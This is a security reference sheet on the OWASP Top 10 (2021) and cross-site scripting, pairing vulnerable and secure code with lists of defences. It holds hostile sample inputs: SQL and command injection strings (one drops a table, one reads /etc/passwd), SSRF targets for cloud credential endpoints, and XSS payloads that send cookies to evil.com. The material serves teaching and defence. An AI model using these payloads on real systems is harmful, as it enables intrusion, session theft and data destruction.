๐Ÿ”

OWASP Top 10

OWASP Top 10 (2021) web application security risks: descriptions, attack examples, vulnerable code patterns, and concrete defences

A01 โ€” Broken Access Control

Enforcing restrictions on authenticated users โ€” the most common critical vulnerability

textยทWhat it is
DESCRIPTION
  Access control enforces policy so users cannot act outside their
  intended permissions. Failures lead to unauthorised data disclosure,
  modification, or destruction.

COMMON WEAKNESSES
  โ€ข Insecure Direct Object Reference (IDOR): /invoice?id=1042
    โ†’ change to id=1043 and see another user's invoice
  โ€ข Missing function-level access control: non-admin GETs /admin/users
  โ€ข Privilege escalation: regular user performs admin action
  โ€ข CORS misconfiguration allowing untrusted origins
  โ€ข JWT with "alg: none" or weak secret accepted by server
  โ€ข Force browsing past access checks (e.g. /account/settings without login)
  โ€ข Elevation of privilege: acting as admin without being logged in

REAL IMPACT
  An attacker enumerates IDs to exfiltrate all user records,
  or a regular user calls an admin API to grant themselves privileges.
javascriptยทVulnerable vs secure code
// โŒ VULNERABLE โ€” no ownership check
app.get("/api/orders/:id", authenticate, async (req, res) => {
  const order = await db.orders.findById(req.params.id);
  res.json(order);  // returns ANY order if you know the ID
});

// โœ… SECURE โ€” verify resource belongs to the requesting user
app.get("/api/orders/:id", authenticate, async (req, res) => {
  const order = await db.orders.findOne({
    id: req.params.id,
    userId: req.user.id,   // ownership check
  });
  if (!order) return res.status(404).json({ error: "Not found" });
  res.json(order);
});

// โŒ VULNERABLE โ€” client-supplied role
app.post("/api/promote", authenticate, async (req, res) => {
  const { userId, role } = req.body;  // attacker sends role: "admin"
  await db.users.update(userId, { role });
});

// โœ… SECURE โ€” server-side role check
app.post("/api/promote", authenticate, requireRole("admin"), async (req, res) => {
  const { userId } = req.body;
  await db.users.update(userId, { role: "moderator" }); // role is fixed server-side
});
textยทDefences
DEFENCES
  โœ“ Deny by default โ€” access is forbidden unless explicitly granted
  โœ“ Implement access control once, reuse throughout (don't duplicate logic)
  โœ“ Enforce ownership on every resource read/write (not just list views)
  โœ“ Log access control failures; alert on repeated failures (IDOR scanning)
  โœ“ Rate-limit API endpoints to slow enumeration attacks
  โœ“ Use indirect references (UUIDs / opaque tokens) instead of sequential IDs
  โœ“ Validate JWT signatures server-side; reject "alg: none"
  โœ“ Set CORS policy to explicitly named trusted origins only
  โœ“ Invalidate server-side session tokens on logout
  โœ“ Test access control with automated integration tests that cross user boundaries

A02 โ€” Cryptographic Failures

Failures related to cryptography exposing sensitive data in transit or at rest

textยทWhat it is
DESCRIPTION
  Formerly "Sensitive Data Exposure". Focuses on failures related to
  cryptography (or lack of it) that expose sensitive data โ€” passwords,
  credit cards, health records, PII, business secrets.

COMMON WEAKNESSES
  โ€ข Data transmitted in clear text (HTTP, SMTP, FTP)
  โ€ข Weak or old algorithms: MD5, SHA-1, DES, RC4, ECB mode
  โ€ข Default or weak crypto keys; keys committed to source control
  โ€ข Missing TLS certificate validation
  โ€ข Passwords stored as plain text or with weak hash (MD5, SHA-1 unsalted)
  โ€ข Deprecated protocols: TLS 1.0/1.1, SSL 2/3
  โ€ข Sensitive data cached in browser (no-store not set)
  โ€ข Predictable IVs or nonces in CBC mode
pythonยทVulnerable vs secure password storage
import hashlib, bcrypt, secrets

# โŒ VULNERABLE โ€” plain text
db.save({"password": password})

# โŒ VULNERABLE โ€” MD5 (no salt, fast, broken)
hashed = hashlib.md5(password.encode()).hexdigest()

# โŒ VULNERABLE โ€” SHA-256 without salt (rainbow table attack possible)
hashed = hashlib.sha256(password.encode()).hexdigest()

# โœ… SECURE โ€” bcrypt (slow, salted, designed for passwords)
hashed = bcrypt.hashpw(password.encode(), bcrypt.gensalt(rounds=12))
# Verify:
bcrypt.checkpw(password.encode(), hashed)

# โœ… SECURE โ€” Argon2 (winner of Password Hashing Competition)
from argon2 import PasswordHasher
ph = PasswordHasher(time_cost=2, memory_cost=65536, parallelism=2)
hashed = ph.hash(password)
ph.verify(hashed, password)

# โŒ VULNERABLE โ€” ECB mode (patterns visible in ciphertext)
from Crypto.Cipher import AES
cipher = AES.new(key, AES.MODE_ECB)

# โœ… SECURE โ€” AES-GCM (authenticated encryption, random nonce)
nonce = secrets.token_bytes(12)
cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
ciphertext, tag = cipher.encrypt_and_digest(plaintext)
textยทDefences
DEFENCES
  โœ“ Classify data by sensitivity; apply appropriate protection level
  โœ“ Don't store sensitive data you don't need (data minimisation)
  โœ“ Encrypt all data at rest using AES-256 or ChaCha20-Poly1305
  โœ“ Enforce TLS 1.2+ for all connections; use HSTS
  โœ“ Use strong, modern algorithms: AES-GCM, RSA-OAEP, ECDH, Ed25519
  โœ“ Never use: MD5, SHA-1, DES, 3DES, RC4, ECB mode for sensitive data
  โœ“ Hash passwords with bcrypt, scrypt, or Argon2 (never MD5/SHA-1)
  โœ“ Generate cryptographically random keys and IVs (use secrets module)
  โœ“ Store keys in a secret manager (Vault, AWS KMS) โ€” never in source code
  โœ“ Set Cache-Control: no-store on responses containing sensitive data
  โœ“ Disable TLS 1.0/1.1, SSL 2/3; disable weak cipher suites

A03 โ€” Injection

SQL, NoSQL, OS command, LDAP injection โ€” untrusted data sent to an interpreter

textยทWhat it is
DESCRIPTION
  Injection flaws occur when untrusted data is sent to an interpreter as
  part of a command or query. An attacker can trick the interpreter into
  executing unintended commands or accessing data without authorisation.

TYPES
  โ€ข SQL Injection โ€” most common; manipulates database queries
  โ€ข NoSQL Injection โ€” MongoDB operator injection ($where, $gt)
  โ€ข OS Command Injection โ€” shell metacharacters in system calls
  โ€ข LDAP Injection โ€” manipulates directory service queries
  โ€ข XPath / XML Injection
  โ€ข Template Injection (SSTI) โ€” in Jinja2, Twig, Freemarker
  โ€ข Log Injection โ€” injects fake log entries or CRLF sequences

CLASSIC SQL INJECTION PAYLOADS
  ' OR '1'='1                         -- always-true condition
  '; DROP TABLE users; --             -- destructive
  ' UNION SELECT username,password FROM users --   -- data exfil
  admin'--                            -- bypass login
pythonยทVulnerable vs secure code
import sqlite3, subprocess, shlex

# โŒ VULNERABLE โ€” SQL injection via string concatenation
def get_user(username):
    query = "SELECT * FROM users WHERE username = '" + username + "'"
    return db.execute(query)
# Input: ' OR '1'='1  โ†’  returns all users

# โœ… SECURE โ€” parameterised query (prepared statement)
def get_user(username):
    return db.execute("SELECT * FROM users WHERE username = ?", (username,))

# โœ… SECURE โ€” ORM (SQLAlchemy)
user = session.query(User).filter(User.username == username).first()

# โŒ VULNERABLE โ€” OS command injection
def ping_host(host):
    output = subprocess.check_output("ping -c 1 " + host, shell=True)
# Input: "8.8.8.8; cat /etc/passwd"  โ†’  exfiltrates /etc/passwd

# โœ… SECURE โ€” avoid shell=True, pass args as list
def ping_host(host):
    output = subprocess.check_output(["ping", "-c", "1", host])

# โŒ VULNERABLE โ€” NoSQL injection (MongoDB)
# Input: {"username": {"$gt": ""}, "password": {"$gt": ""}}
user = db.users.find_one({"username": req["username"], "password": req["password"]})

# โœ… SECURE โ€” validate types before querying
def login(username: str, password: str):
    if not isinstance(username, str) or not isinstance(password, str):
        raise ValueError("Invalid input")
    user = db.users.find_one({"username": username, "password": hash_password(password)})
textยทDefences
DEFENCES
  โœ“ Use parameterised queries / prepared statements โ€” ALWAYS
  โœ“ Use an ORM, but still validate inputs (ORMs can be misused)
  โœ“ Validate and whitelist input: type, length, format, range
  โœ“ Escape special characters when parameterisation isn't possible
  โœ“ Never use shell=True; pass args as a list to subprocess
  โœ“ Least privilege DB accounts โ€” app user shouldn't own schema
  โœ“ Disable dangerous DB features (xp_cmdshell in SQL Server)
  โœ“ Use WAF as a defence-in-depth layer (not primary defence)
  โœ“ Scan code with SAST tools (Semgrep, Bandit, CodeQL)
  โœ“ Run automated DAST scans (OWASP ZAP, Burp Suite)

A04 โ€” Insecure Design

Missing or ineffective security controls due to flaws in design, not implementation

textยทWhat it is & defences
DESCRIPTION
  A new category in 2021 focusing on risks related to design and
  architectural flaws โ€” different from implementation bugs.
  "Insecure design cannot be fixed by perfect implementation."

COMMON WEAKNESSES
  โ€ข No threat modelling during design phase
  โ€ข Business logic flaws: can a user skip steps in a checkout flow?
  โ€ข Missing rate limiting on sensitive functions (OTP, password reset)
  โ€ข Password reset via security questions (easily guessed/researched)
  โ€ข Credential recovery that reveals the password instead of resetting it
  โ€ข Trusting user-supplied values for business-critical decisions
    (e.g. price, discount, account tier sent from the client)
  โ€ข Missing anti-automation controls (CAPTCHAs, device fingerprinting)
  โ€ข Allowing unlimited account creation / resource consumption

EXAMPLE
  A cinema ticketing app allows booking of 15 seats, then releasing
  them in the last second โ€” no limit on how many times a user can do this.
  Design flaw: no reservation expiry or anti-automation check.

DEFENCES
  โœ“ Threat modelling: use STRIDE, PASTA, or LINDDUN during design
  โœ“ Write security user stories and misuse cases alongside features
  โœ“ Validate all security-relevant values server-side (price, role, qty)
  โœ“ Apply rate limiting on authentication, OTP, password reset, signup
  โœ“ Limit resource consumption per user / IP / session
  โœ“ Use multi-factor authentication for sensitive actions
  โœ“ Segregate layers โ€” don't trust frontend; enforce in backend
  โœ“ Security design review before any feature ships
  โœ“ Use reference architectures and proven security libraries

A05 โ€” Security Misconfiguration

Missing hardening, unnecessary features enabled, default credentials, verbose errors

textยทWhat it is
DESCRIPTION
  The most commonly seen issue. Insecure defaults, incomplete configurations,
  open cloud storage, verbose error messages, unnecessary features, and
  missing security hardening across any part of the stack.

COMMON WEAKNESSES
  โ€ข Default credentials unchanged (admin/admin, root/root)
  โ€ข S3 buckets / blob storage publicly readable or writable
  โ€ข Directory listing enabled on web server
  โ€ข Detailed error messages / stack traces returned to users in prod
  โ€ข Unnecessary services, ports, pages, accounts, or privileges enabled
  โ€ข Missing security headers (CSP, HSTS, X-Frame-Options, etc.)
  โ€ข Cloud security groups with 0.0.0.0/0 on sensitive ports (DB, SSH)
  โ€ข XML external entity processing enabled (see A05 / XXE)
  โ€ข Default TLS certificates with weak keys
  โ€ข Debug mode enabled in production (Django DEBUG=True, etc.)
bashยทSecurity headers & hardening
# โœ… Recommended HTTP security headers (Nginx example)
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none';" always;

# โœ… Disable server version disclosure
server_tokens off;                        # Nginx
# ServerTokens Prod                       # Apache

# โœ… Disable directory listing
autoindex off;                            # Nginx
# Options -Indexes                        # Apache

# Check headers with curl
curl -I https://example.com

# โœ… Find default/weak credentials
# Change all defaults before deploying any service

# โœ… Scan for misconfigs (AWS)
aws s3api get-bucket-acl --bucket my-bucket
aws s3api get-public-access-block --bucket my-bucket

# โœ… Check security group exposure
aws ec2 describe-security-groups --query   "SecurityGroups[?IpPermissions[?IpRanges[?CidrIp=='0.0.0.0/0']]]"
textยทDefences
DEFENCES
  โœ“ Repeatable hardening process: build secure base images / IaC
  โœ“ Minimal platform โ€” remove unused features, components, docs, samples
  โœ“ Review and update all security configurations during patching
  โœ“ Segment architecture โ€” network, container, cloud IAM boundaries
  โœ“ Send security headers on every HTTP response
  โœ“ Never return stack traces or internal paths to end users
  โœ“ Use generic error messages; log details server-side
  โœ“ Automated misconfiguration scanning in CI/CD (Trivy, Checkov, tfsec)
  โœ“ Periodic review of cloud IAM permissions, storage ACLs, security groups
  โœ“ Enable and audit cloud-native security tools (AWS GuardDuty, Security Hub)
  โœ“ Rotate all default credentials immediately on deployment

A06 โ€” Vulnerable & Outdated Components

Using components with known vulnerabilities in libraries, frameworks, and dependencies

textยทWhat it is
DESCRIPTION
  Components (libraries, frameworks, OS, runtimes) run with the same
  privileges as the application. If a vulnerable component is exploited,
  it can result in serious data loss or a server takeover.

COMMON WEAKNESSES
  โ€ข Not knowing versions of all components in use (no SBOM)
  โ€ข Running outdated, unsupported, or unpatched software
  โ€ข Not scanning for vulnerabilities regularly (no CVE monitoring)
  โ€ข Not fixing/upgrading underlying platforms timely
  โ€ข Not testing compatibility of updated libraries before deploying
  โ€ข Including unused but vulnerable dependencies
  โ€ข Using abandoned / unmaintained packages

NOTABLE EXAMPLES
  Log4Shell (CVE-2021-44228) โ€” Log4j RCE, CVSS 10.0
  Heartbleed (CVE-2014-0160) โ€” OpenSSL memory leak
  Struts2 (CVE-2017-5638)    โ€” Apache Struts RCE (Equifax breach)
  event-stream npm package    โ€” supply chain attack, malicious code injected
bashยทScanning & remediation
# npm โ€” audit dependencies
npm audit
npm audit fix
npm audit fix --force       # upgrades breaking changes too
npm outdated                # show outdated packages

# Python โ€” scan with safety or pip-audit
pip-audit
pip list --outdated
safety check -r requirements.txt

# Docker image scanning
trivy image myapp:latest
docker scout cves myapp:latest
grype myapp:latest

# Java โ€” OWASP Dependency Check
dependency-check --project myapp --scan ./lib

# Go
govulncheck ./...

# Ruby
bundle audit

# GitHub Dependabot (automatic PRs for vulnerable deps)
# Add .github/dependabot.yml to enable

# Snyk
snyk test
snyk monitor
textยทDefences
DEFENCES
  โœ“ Maintain a Software Bill of Materials (SBOM) for all dependencies
  โœ“ Continuously monitor CVE databases (NVD, OSV, GitHub Advisory)
  โœ“ Automate dependency scanning in CI/CD (Dependabot, Snyk, Trivy)
  โœ“ Subscribe to security mailing lists for your key components
  โœ“ Remove unused dependencies, features, files, and documentation
  โœ“ Pin exact versions; review and test updates before deploying
  โœ“ Use packages from official, reputable sources only
  โœ“ Scan container base images; use minimal images (distroless, Alpine)
  โœ“ Apply virtual patches (WAF rules) while permanent fix is prepared
  โœ“ Have a documented patch response SLA based on CVSS severity

A07 โ€” Identification & Authentication Failures

Weaknesses in authentication, session management, and credential handling

textยทWhat it is
DESCRIPTION
  Attacks on identity, authentication, and session management allow
  attackers to assume the identity of other users, temporarily or
  permanently.

COMMON WEAKNESSES
  โ€ข Weak or no brute-force protection (no lockout, no rate limit)
  โ€ข Permitting weak passwords ("123456", "password")
  โ€ข Plain text, encrypted, or weakly hashed passwords (MD5, SHA-1)
  โ€ข Ineffective credential recovery (security questions, email-only reset)
  โ€ข Missing or ineffective multi-factor authentication
  โ€ข Exposed session IDs in URLs (?sessionid=abc123)
  โ€ข Session not invalidated on logout or after inactivity
  โ€ข Session tokens not rotated after successful login (session fixation)
  โ€ข Predictable session tokens (sequential IDs, low entropy)
  โ€ข Accepting expired or revoked JWTs (no server-side invalidation)
javascriptยทSecure session & auth patterns
// โœ… Rate limit login attempts
const rateLimit = require("express-rate-limit");
const loginLimiter = rateLimit({
  windowMs: 15 * 60 * 1000,  // 15 minutes
  max: 10,                    // 10 attempts per window
  message: "Too many login attempts, please try again later",
});
app.post("/auth/login", loginLimiter, loginHandler);

// โœ… Rotate session after login (prevent session fixation)
app.post("/auth/login", async (req, res) => {
  const user = await verifyCredentials(req.body);
  if (!user) return res.status(401).json({ error: "Invalid credentials" });
  req.session.regenerate((err) => {   // new session ID on login
    req.session.userId = user.id;
    res.json({ ok: true });
  });
});

// โœ… Invalidate session on logout
app.post("/auth/logout", (req, res) => {
  req.session.destroy(() => {
    res.clearCookie("connect.sid");
    res.json({ ok: true });
  });
});

// โœ… Secure cookie settings
app.use(session({
  secret: process.env.SESSION_SECRET,
  resave: false,
  saveUninitialized: false,
  cookie: {
    httpOnly: true,    // no JS access
    secure: true,      // HTTPS only
    sameSite: "strict",// CSRF protection
    maxAge: 30 * 60 * 1000,  // 30 min inactivity timeout
  },
}));
textยทDefences
DEFENCES
  โœ“ Enforce multi-factor authentication (TOTP, passkeys, hardware keys)
  โœ“ Implement account lockout or exponential backoff after failed attempts
  โœ“ Rate-limit login, registration, and password reset endpoints
  โœ“ Reject weak passwords; check against known-breached lists (HaveIBeenPwned API)
  โœ“ Hash passwords with bcrypt, scrypt, or Argon2 โ€” never MD5/SHA-1
  โœ“ Generate cryptographically random session tokens (128+ bits entropy)
  โœ“ Never expose session IDs in URLs โ€” use cookies only
  โœ“ Set cookies: HttpOnly, Secure, SameSite=Strict
  โœ“ Invalidate sessions server-side on logout
  โœ“ Rotate session IDs after privilege level change (login, sudo, etc.)
  โœ“ Set absolute and idle timeouts on sessions
  โœ“ Use battle-tested auth libraries (Passport, Auth0, Keycloak)
  โœ“ Avoid building authentication from scratch

A08 โ€” Software & Data Integrity Failures

Insecure CI/CD pipelines, unsigned updates, insecure deserialisation

textยทWhat it is & defences
DESCRIPTION
  New in 2021. Relates to code and infrastructure that does not protect
  against integrity violations. Includes insecure deserialisation and
  CI/CD pipeline attacks (supply chain).

COMMON WEAKNESSES
  โ€ข Loading plugins, libraries, or updates from untrusted sources
  โ€ข CDN resources without Subresource Integrity (SRI) hashes
  โ€ข Auto-update mechanisms without cryptographic signature verification
  โ€ข Insecure deserialisation of untrusted data (Java, PHP, Python pickle)
  โ€ข Unsigned or unverified CI/CD pipeline artifacts
  โ€ข Compromised build tools / poisoned dependencies (supply chain)
  โ€ข Trusting client-supplied serialised objects without validation

EXAMPLES
  SolarWinds: build pipeline compromised โ†’ malicious code in signed update
  event-stream npm: abandoned package taken over, backdoor added
  PHP pickle / Java ObjectInputStream RCE via crafted serialised object

INSECURE DESERIALISATION ATTACK
  Attacker sends crafted serialised object โ†’ server deserialises it โ†’
  attacker-controlled gadget chain executes arbitrary code (RCE)

DEFENCES
  โœ“ Use digital signatures for packages, artifacts, and container images
  โœ“ Add SRI hashes to all CDN/third-party <script> and <link> tags
  โœ“ Verify signatures before installing updates or plugins
  โœ“ Pin dependency versions and checksums (lock files, Sigstore)
  โœ“ Never deserialise data from untrusted sources in formats like
    Java serialisation, PHP unserialize(), Python pickle
  โœ“ Use data-only serialisation formats (JSON, Protobuf) instead
  โœ“ If you must deserialise: implement integrity checks and run in low-privilege
    sandboxed environment before processing
  โœ“ Secure CI/CD: least-privilege pipeline permissions, signed commits,
    protected branches, audit logs, SLSA supply chain framework
htmlยทSubresource Integrity (SRI)
<!-- โŒ VULNERABLE โ€” no integrity check, CDN can serve malicious code -->
<script src="https://cdn.example.com/jquery.min.js"></script>

<!-- โœ… SECURE โ€” SRI hash ensures content hasn't been tampered with -->
<script
  src="https://cdn.jsdelivr.net/npm/jquery@3.7.1/dist/jquery.min.js"
  integrity="sha256-/JqT3SQfawRcv/BIHPThkBvs0OEvtFFmqPF/lYI/Cxo="
  crossorigin="anonymous">
</script>

<!-- Generate SRI hash -->
<!-- openssl dgst -sha256 -binary jquery.min.js | openssl base64 -A -->
<!-- Or: https://www.srihash.org/ -->

<!-- โœ… Also pin your own first-party scripts with CSP hashes -->
<!-- Content-Security-Policy: script-src 'sha256-abc123...' -->

A09 โ€” Security Logging & Monitoring Failures

Insufficient logging, monitoring, and alerting that allows breaches to go undetected

textยทWhat it is
DESCRIPTION
  Without logging and monitoring, breaches cannot be detected. The
  average time to detect a breach is over 200 days โ€” usually detected
  by external parties, not internal monitoring.

COMMON WEAKNESSES
  โ€ข Loggable events (logins, failed logins, high-value transactions) not logged
  โ€ข Warnings and errors generate no or inadequate log messages
  โ€ข Logs not monitored for suspicious activity
  โ€ข Logs only stored locally (lost if server is compromised)
  โ€ข Log entries lack sufficient context (who, what, when, where)
  โ€ข Penetration tests and DAST scans don't trigger alerts
  โ€ข Alerting thresholds too high; alerts not acted on
  โ€ข Sensitive data (passwords, tokens, PII) written to logs

WHAT MUST BE LOGGED
  โ€ข All authentication events (success and failure)
  โ€ข Access control failures (403s, IDOR attempts)
  โ€ข Input validation failures (especially repeated)
  โ€ข High-value transactions
  โ€ข Session management events (create, destroy, timeout)
  โ€ข Admin / privileged actions
  โ€ข Errors and exceptions (without sensitive data)
javascriptยทStructured security logging
// โœ… Structured logging with security context (using pino)
const logger = require("pino")();

// Log authentication events
function logAuthEvent(event, req, user, success) {
  logger.info({
    event,
    success,
    userId:    user?.id ?? null,
    ip:        req.ip,
    userAgent: req.get("User-Agent"),
    timestamp: new Date().toISOString(),
    // โŒ NEVER log: passwords, tokens, secrets, full credit card numbers
  });
}

// Login handler
app.post("/auth/login", async (req, res) => {
  const user = await verifyCredentials(req.body.username, req.body.password);
  if (!user) {
    logAuthEvent("login_failure", req, null, false);
    return res.status(401).json({ error: "Invalid credentials" });
  }
  logAuthEvent("login_success", req, user, true);
  // ...
});

// Log access control failures
app.use((req, res, next) => {
  res.on("finish", () => {
    if (res.statusCode === 403 || res.statusCode === 401) {
      logger.warn({
        event:  "access_denied",
        method: req.method,
        path:   req.path,
        userId: req.user?.id,
        ip:     req.ip,
        status: res.statusCode,
      });
    }
  });
  next();
});
textยทDefences
DEFENCES
  โœ“ Log all authentication events, access control failures, and admin actions
  โœ“ Include: timestamp, user ID, IP, session ID, event type, outcome
  โœ“ Never log sensitive data: passwords, tokens, secrets, full PAN, SSN
  โœ“ Use structured logging (JSON) for machine-parseable log entries
  โœ“ Ship logs to a centralised, tamper-resistant system (SIEM, ELK, Splunk)
  โœ“ Retain logs long enough to support breach investigation (90 days+)
  โœ“ Set up automated alerting for:
      - Brute force (N failed logins in T seconds)
      - Impossible travel (login from two distant IPs in short time)
      - Mass data access (user exporting thousands of records)
      - Privilege escalation attempts
  โœ“ Establish and test an incident response plan
  โœ“ Include security event monitoring in on-call runbooks

A10 โ€” Server-Side Request Forgery (SSRF)

Server fetches a remote resource using attacker-controlled URL

textยทWhat it is
DESCRIPTION
  SSRF flaws occur when a web application fetches a remote resource using
  a user-supplied URL without validating it. The attacker can force the
  server to make requests to internal services, cloud metadata endpoints,
  or other unintended destinations.

COMMON ATTACK TARGETS
  โ€ข Cloud metadata services:
    AWS:   http://169.254.169.254/latest/meta-data/iam/security-credentials/
    GCP:   http://metadata.google.internal/computeMetadata/v1/
    Azure: http://169.254.169.254/metadata/instance
  โ€ข Internal services: http://localhost:6379 (Redis), http://10.0.0.5:8080
  โ€ข Internal admin panels: http://internal-admin.corp/
  โ€ข File system via file:// scheme
  โ€ข Port scanning internal network

BYPASS TECHNIQUES ATTACKERS USE
  โ€ข 127.0.0.1, 0.0.0.0, [::1], localhost
  โ€ข Decimal IP: http://2130706433  (= 127.0.0.1)
  โ€ข Octal IP:   http://017700000001
  โ€ข URL shorteners pointing to internal IPs
  โ€ข DNS rebinding: domain resolves to public IP then re-resolves to internal
  โ€ข Redirects: public URL โ†’ 302 โ†’ internal URL
pythonยทVulnerable vs secure code
import httpx
from urllib.parse import urlparse
import ipaddress

# โŒ VULNERABLE โ€” fetches any URL the user provides
def fetch_url(url: str):
    return httpx.get(url).text

# โœ… SECURE โ€” allowlist of permitted domains
ALLOWED_HOSTS = {"api.example.com", "cdn.example.com"}

def fetch_url_safe(url: str) -> str:
    parsed = urlparse(url)

    # Only allow HTTPS
    if parsed.scheme != "https":
        raise ValueError("Only HTTPS URLs are allowed")

    # Allowlist check
    if parsed.hostname not in ALLOWED_HOSTS:
        raise ValueError(f"Host {parsed.hostname} is not allowed")

    return httpx.get(url, follow_redirects=False).text

# โœ… Block private/reserved IP ranges (defence in depth)
def is_safe_ip(hostname: str) -> bool:
    try:
        ip = ipaddress.ip_address(hostname)
        return not (ip.is_private or ip.is_loopback or
                    ip.is_link_local or ip.is_reserved)
    except ValueError:
        return True  # hostname, not IP โ€” let DNS resolve then recheck

# โœ… AWS: use IMDSv2 which requires a PUT token (limits SSRF access)
# Disable IMDSv1 on all EC2 instances:
# aws ec2 modify-instance-metadata-options \
#   --instance-id i-xxx --http-tokens required
textยทDefences
DEFENCES
  โœ“ Allowlist permitted remote resources by domain, IP, port, and scheme
  โœ“ Do not accept raw URLs from users โ€” use IDs that server maps to URLs
  โœ“ Block all non-HTTP/HTTPS schemes: file://, gopher://, dict://, ftp://
  โœ“ Validate that resolved IPs are not private, loopback, or link-local
  โœ“ Do not follow redirects; or re-validate the redirect destination
  โœ“ Enforce network-level controls โ€” outbound firewall rules from app tier
  โœ“ Isolate resource-fetching services in a dedicated DMZ with no internal access
  โœ“ Disable unused URL schemes and HTTP redirections on servers
  โœ“ Use IMDSv2 on AWS EC2 (require PUT token); block 169.254.169.254 at network
  โœ“ Log all outbound HTTP requests from application servers
  โœ“ Do not return raw server responses to the client (leaks internal info)

Cross-Site Scripting (XSS)

Reflected, stored, and DOM-based XSS โ€” injecting scripts into web pages

textยทTypes & payloads
TYPES OF XSS
  Reflected XSS โ€” payload in URL, executed immediately in response
    URL: /search?q=<script>fetch('https://evil.com?c='+document.cookie)</script>

  Stored XSS โ€” payload saved in database, executed for every visitor
    Comment field: <img src=x onerror="document.location='https://evil.com?c='+document.cookie">

  DOM-based XSS โ€” payload never hits the server; exploits client-side JS
    URL: /page#<img src=x onerror=alert(1)>
    Vulnerable: document.getElementById("x").innerHTML = location.hash;

COMMON BYPASS PAYLOADS
  <script>alert(1)</script>
  <img src=x onerror=alert(1)>
  <svg onload=alert(1)>
  javascript:alert(1)                     (href / src attributes)
  <a href="javascript:alert(1)">click</a>
  "><script>alert(1)</script>             (break out of attribute)
  '--><script>alert(1)</script>           (break out of JS string/HTML comment)

IMPACT
  Session hijacking (steal cookies), credential theft, keylogging,
  defacement, drive-by malware download, CSRF bypass
javascriptยทVulnerable vs secure code
// โŒ VULNERABLE โ€” directly setting innerHTML
document.getElementById("output").innerHTML = userInput;

// โŒ VULNERABLE โ€” React dangerouslySetInnerHTML
<div dangerouslySetInnerHTML={{ __html: userContent }} />

// โœ… SECURE โ€” use textContent for plain text
document.getElementById("output").textContent = userInput;

// โœ… SECURE โ€” React renders text safely by default
<div>{userContent}</div>

// โœ… SECURE โ€” sanitise HTML when rich text is truly needed
import DOMPurify from "dompurify";
const clean = DOMPurify.sanitize(dirtyHTML);
document.getElementById("output").innerHTML = clean;

// โœ… SECURE โ€” Content Security Policy (HTTP header)
// Prevents inline scripts and restricts script sources
// Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; object-src 'none';

// โœ… SECURE โ€” server-side output encoding (Node.js / Express)
const escapeHtml = (str) =>
  str.replace(/&/g, "&amp;")
     .replace(/</g, "&lt;")
     .replace(/>/g, "&gt;")
     .replace(/"/g, "&quot;")
     .replace(/'/g, "&#x27;");
textยทDefences
DEFENCES
  โœ“ Context-aware output encoding:
    - HTML body:         HTML entity encoding  (&lt; &gt; &amp;)
    - HTML attribute:    Attribute encoding    (&quot;)
    - JavaScript:        JS Unicode escaping   (\uXXXX)
    - CSS:               CSS hex escaping
    - URL parameter:     Percent encoding
  โœ“ Use modern frameworks that auto-escape by default (React, Vue, Angular)
  โœ“ Never use innerHTML, document.write(), or eval() with user data
  โœ“ Sanitise with DOMPurify when rich HTML input is required
  โœ“ Implement a strict Content Security Policy (CSP)
  โœ“ Set HttpOnly on session cookies โ€” limits damage from XSS
  โœ“ Enable X-Content-Type-Options: nosniff
  โœ“ Use Trusted Types API for DOM manipulation in modern browsers
  โœ“ Validate input on server (type, length, allowlist of characters)
  โœ“ Scan with DAST tools: OWASP ZAP, Burp Suite, Nikto